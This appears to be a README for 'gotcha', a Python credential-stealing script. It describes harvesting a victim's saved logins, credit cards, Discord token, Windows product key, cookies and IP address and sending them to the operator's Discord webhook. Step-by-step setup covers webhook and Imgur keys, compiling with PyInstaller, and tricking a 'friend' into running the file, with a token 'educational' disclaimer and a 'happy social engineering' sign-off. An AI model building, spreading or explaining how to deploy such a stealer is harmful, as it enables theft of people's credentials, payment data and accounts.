notquitethereyet / gotcha

steal/extract victim's online credentials, saved credit cards, discord token, windows product key, browser cookies, and more. utilizes Discord's webhooks to send victim's information directly to your Discord server of choice. purely written in, Python.

gotcha | simple credentials extraction script, written in Python.

steal victim's online credentials, discord token, cookies, windows product key & more => all data to your Discord webhook of choice.

scroll down to the bottom to view the latest version, (3) : this is the one i recommend most.

version 1 : "gotcha.py"

utilizes Discord's webhooks : sends victim's credentials, product key, and token. (indiviually)
supports Chrome, and Microsoft Edge : can't garauntee its functionality .
( if you understand, open a PR with your code )
---

instructions => version 1

1. create a Discord webhook, for more information : https://support.discord.com/hc/en-us/articles/228383668-Intro-to-Webhooks
2. find the following variables in, "gotcha.py": "whID", "whAT".

"whID" = Webhook ID

"whAT" = Webhook Token/Auth Token

3. replace these variables with the following found in your Discord webhook.

https//discord.com/api/webhooks/(1)/(2)
(1) = "whID"
---
(2) = "whAT"
---

4. save, now you're set. If you'd like : you can .exe the script using Pyinstaller, https://pypi.org/project/pyinstaller/
5. drop to your friend, and have them run it.

example => "gotcha.py"

version 2 : "gotchav2.py"

same functionality as V1 + IP Address, alot more efficient & with embedding.
all data sent in a neat format, requires a little more effort for setup.
---

instructions => version 2

1. follow same steps as Version 1, stop at Step 3.
2. create an Imgur account, and gain API access : https://api.imgur.com/oauth2/addclient, for more docu. => https://api.imgur.com/
3. once complete, find the function in "gotchav2.py": "upload".
4. replace CLIENT-ID-HERE, and CLIENT-SECRET-HERE: with your Imgur API details, "Client ID", and "Client Secret"
5. begin from Step 4 in Version 1.

example => "gotchav2.py"

version 3 : "gotchav3.py"

same functionality as V1 + IP Address, and ROBLOX cookies: code was optimized, and alot more readable + neat.
all data sent in a neat format, requires a little more effort for setup.
---

instructions => version 3

1. follow same steps as Version 2.

example => "gotchav3.py"

disclaimer :

i'm not responsible, nor am i liable for any damages caused by others distributing, or using this for malicious purposes.

this is solely for educational purposes, and no harm is intended.

happy social engineering! <3